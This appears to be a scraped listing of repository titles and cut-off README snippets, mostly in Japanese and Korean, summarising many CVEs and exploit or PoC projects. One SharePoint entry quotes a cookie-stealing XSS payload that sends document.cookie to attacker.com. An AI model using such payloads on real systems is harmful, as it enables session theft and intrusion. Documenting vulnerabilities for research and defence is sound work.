CVE-2026-20404-MediaTek-modem-remote-DoS-rogue-base-station-scenario-

CVE-2026-20404-MediaTek-モデム-リモートDoS-不正基地局シナリオ- MediaTekモデムの入力検証の問題により、攻撃者が制御する不正基地局にUEが接続すると、ユーザーの操作なしでシステムクラッシュ（リモートDoS）が発生する可能性があります。 提供されているcheck.shコードは以下の目的で使用されます： 1. 影響を受けるチップ/デバイスの特定 2. パッチレベル/セキュリティ情報の適用確認 3. 脅威モデルの文書化（可用性への影響、不正BTSの前提条件） 実行方法 - bash ./check.sh 分析...

exploit_cms_fuel

Fuel CMS 1.4.1 - 원격 코드 실행 RCE 익스플로잇 이 저장소는 Fuel CMS 버전 1.4.1 에 대한 익스플로잇의 Python 3 구현을 포함합니다. 이 스크립트는 CVE-2018-16763 을 활용하며, 이 취약점은 filter 및 preview 매개변수의 부적절한 입력 검증으로 인해 PHP 코드 평가 및 사전 인증 원격 코드 실행이 가능합니다. ⚠️ 면책 조항 이 도구는 교육 목적과 승인된 침투 테스트 전용입니다. 명시적 허가 없이 시스템에 대해 실행하는 것은 불법입니다. 🛠 기능 Python 3 최적화: 최...

CVE-2026-32201-exploit

概要 CVE-2026-32201 用の Python エクスプロイト - Microsoft SharePoint Server における不適切な入力検証により、認証されていないネットワークスプーフィングが可能になります C:L/I:L。 影響を受けるバージョン: SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 出力例: + SharePoint...

cve-2026-13934

CVE-2026-13934 作業プロジェクトのリポジトリです。調査・分析・作業・報告書を1つのリポジトリで 扱います（D088/D091）。 このファイルはリポジトリ・ボードの入口ドキュメント です。フォルダ・成果物の規約全文は docs/conventions.md を参照してください。 本文（現状・結論・リンク）はレポート（report）項目が昇格したときに更新します。 調査・分析・作業エージェントはルートREADMEを修正しません。 一行まとめ : Google ChromeのWebGPU実装Dawn がYCbCrサンプラー生成時にVulkan仕様が...

EUVD-2025-211022

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability, which could allow an attacker to inject unvalidated, malformed data into the application, enabling potential injection attacks or errors in downstream processing systems...

CVE-2025-31980

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability. This flaw could allow an attacker to inject unvalidated, malformed data into the application, potentially leading to injection attacks or causing errors in downstream processing systems . No specific affected...

CVE-2025-31980 HCL BigFix Service Management is affected by multiple security vulnerabilities.

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability, which could allow an attacker to inject unvalidated, malformed data into the application, enabling potential injection attacks or errors in downstream processing systems...

CVE-2025-31980 HCL BigFix Service Management is affected by multiple security vulnerabilities.

HCL BigFix Service Management is affected by an Improper Input Validation vulnerability, which could allow an attacker to inject unvalidated, malformed data into the application, enabling potential injection attacks or errors in downstream processing systems...

CVE-2025-54123

CVE-2025-54123 - Hoverfly 명령 주입 RCE PoC CVE-2025-54123 - Hoverfly의 미들웨어 명령 주입 📌 CVE 세부 정보 ID : CVE-2025-54123 유형 : 명령 주입 / 원격 코드 실행 RCE 공급업체 : Hoverfly 영향 : 인증된 공격자가 미들웨어 API 엔드포인트를 통해 임의의 시스템 명령을 실행할 수 있습니다. 영향받는 버전 : Hoverfly ≤ 1.11.3 추가 정보 : GHSA-r4h8-hfp2-ggmf NVD:...

CVE-2025-20393

CVE-2025-20393 📌 概要 CVE-2025-20393 は、Cisco AsyncOS を実行している Cisco Secure Email Gateway SEG および Cisco Secure Email and Web Manager SEWM アプライアンスに影響を与える 重大なリモートコマンド実行 RCE の脆弱性です。 この脆弱性は、Spam Quarantine 機能における不適切な入力検証 が原因で存在します。認証されていないリモート攻撃者 は、細工された HTTP リクエストを送信することでこの欠陥を悪用し、root 権限での任意のコマンド実行...

exploit_cve-2007-2447_again

exploitcve-2007-2447again 사용자 이름을 적절히 검증하지 않는 작은 실수가 전체 머신에 대한 루트 액세스를 줄 수 있다는 것을 기억하세요...

CVE-2014-9219

CVE-2014-9219 CVE-2014-9219 XSS POC 개요 이 취약점은 phpMyAdmin 4.2.x4.2.13.1 이전의 url.php에 있는 리디렉션 기능에서 url 매개변수를 처리할 때 발생하는 입력 검증 오류로 인해 발생합니다. 원격 공격자는 피해자를 속여 특수하게 조작된 링크를 따라가게 하고, 취약한 웹사이트의 보안 컨텍스트에서 피해자 브라우저에 임의의 HTML 및 스크립트 코드를 실행할 수 있습니다. 영향을 받는 버전 phpMyAdmin: 4.2.0 - 4.2.13 문제 취약한 코드는 URL 매개변수를...

CVE-2025-60012-POC

교육 및 보안 연구 목적으로만 사용하십시오. 귀하가 소유하지 않거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에 사용하지 마십시오. →전체 면책 조항 CVE-2025-60012 — Apache Livy 무단 파일 접근 -yellow 개요 필드| 세부 정보 ---|--- CVE ID| CVE-2025-60012 심각도| 중간 CVSS 6.3 영향을 받는 버전| Apache Livy 0.7.0-incubating, 0.8.0-incubating — Apache Spark 3.1 이상에 연결된 경우 수정 버전| Apache...

CVE-2020-10128

CVE-2020-10128 - V-9.2.1より前のSearchBlox製品は、保存型クロスサイトスクリプティングに対して脆弱です 製品説明: SearchBloxは、複雑な組織向けのエンタープライズ検索を簡素化します。SearchBloxの直感的でインテリジェントなツールは、すぐに使えるセットアップ、安全な暗号化、低い総所有コストを提供します。AIを活用したソリューションは、検索ジャーニーの各ステップを最適化し、エンゲージメントを劇的に向上させます。SearchBloxは、金融サービス、ヘルスケア、政府のリーダーにとって簡単な選択です。 説明:...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413은 Microsoft Outlook버전: Microsoft 365 Apps, Outlook 2016/2019, 2024년 2월 패치 이전의 Office LTSC 2021에서 발견된 심각한 원격 코드 실행 취약점입니다. 이 취약점을 통해 인증되지 않은 공격자는 파일 경로file:// 링크와 느낌표!가 포함된 특수 제작된 이메일을 보내 Outlook의 보호된 보기Protected View를 우회할 수 있습니다. 피해자가 링크를 클릭하거나 이메일을 미리 보기만 해도 Outlook이 자동으로 공격자의 SMB...

CVE-2019-12453

CVE-2019-12453 CVE-2019-12453 MicroStrategy Web 10.1 패치 10 이전에서의 저장형 XSS 작성자: undefinedmode https://github.com/undefinedmode/CVE-2019-12453 MicroStrategy Web 10.1 패치 10 이전 버전에서는 입력 검증 누락으로 인해 FLTB 매개변수에서 저장형 XSS가 가능합니다. FLTB 매개변수는 애플리케이션 전체에서 사용됩니다...

CVE-2019-19781

본 글은 CVE-2019-19781에 등재된 Citrix ADC and Gateway Directory Traversal 원격코드 실행 RCE에 대한 글 입니다. 해당 원격코드 실행 취약점은 /vpn 경로 밑의 ../vpns에서 smb.conf 파일에 대한 검증이 적절하게 이루어지지 않아 발생한다. 시스템 구성정보나 서버 정보를 탈취 1. Citrix 1989년 설립된 미국의 다국적 소프트웨어 기업 서버, 애플리케이션 및 데스크톱 가상화, 네트워킹, SaaS, 클라우드 컴퓨팅 기술을 제공 취약한 Citrix 제품군에서 입력값...

CVE-2025-49132-Pterodactyl-Panel-RCE

CVE-2025-49132 — Pterodactyl 패널 보안 연구 및 교육 분석 개요 이 프로젝트는 Pterodactyl 패널에 영향을 미치는 취약점인 CVE-2025-49132 와 관련된 연구를 문서화합니다. 목적: 보안 연구, 교육, 방어 인식 통제된 환경에서만 사용 무단 악용을 권장하지 않습니다 취약점 요약 CVE ID: CVE-2025-49132 영향받는 제품: Pterodactyl 패널 영향: 원격 코드 실행 RCE 공격 벡터: 로케일 처리의 입력 검증 결함 영향 성공적으로 악용될 경우, 이 취약점은 다음을 허용할 ...

CVE-2019-6690-python-gnupg-vulnerability

CVE-2019-6690: python-gnupg 0.4.3의 부적절한 입력 검증 우리는 대칭 암호화를 사용할 때 gnupg.GPG.encrypt 및 gnupg.GPG.decrypt 메서드의 passphrase 속성을 통해 데이터를 주입할 수 있는 방법을 발견했습니다. 제공된 패스프레이즈는 개행 문자에 대해 검증되지 않으며, 라이브러리는 gpg 실행 파일에 --passphrase-fd=0을 전달합니다. gpg 실행 파일은 stdin의 첫 번째 줄에서 패스프레이즈를, 이후 줄에서 복호화할 암호문 또는 암호화할 평문을 기대합니다...

CVE-2021-36260-hikvision

CVE-2021-36260 CVE-2021-36260는 일부 Hikvision 제품의 웹 서버에서 발생하는 POC 명령 주입 취약점입니다. 불충분한 입력 검증으로 인해, 공격자는 악성 명령이 포함된 일부 메시지를 전송하여 명령 주입 공격을 실행할 수 있습니다. Exploit 제목: Hikvision 웹 서버 빌드 210702 - 명령 주입 Exploit 작성자: bashis -- shubtheone이 오류 업데이트 공급업체 홈페이지: https://www.hikvision.com/ 버전: 1.0 CVE: CVE-2021-362...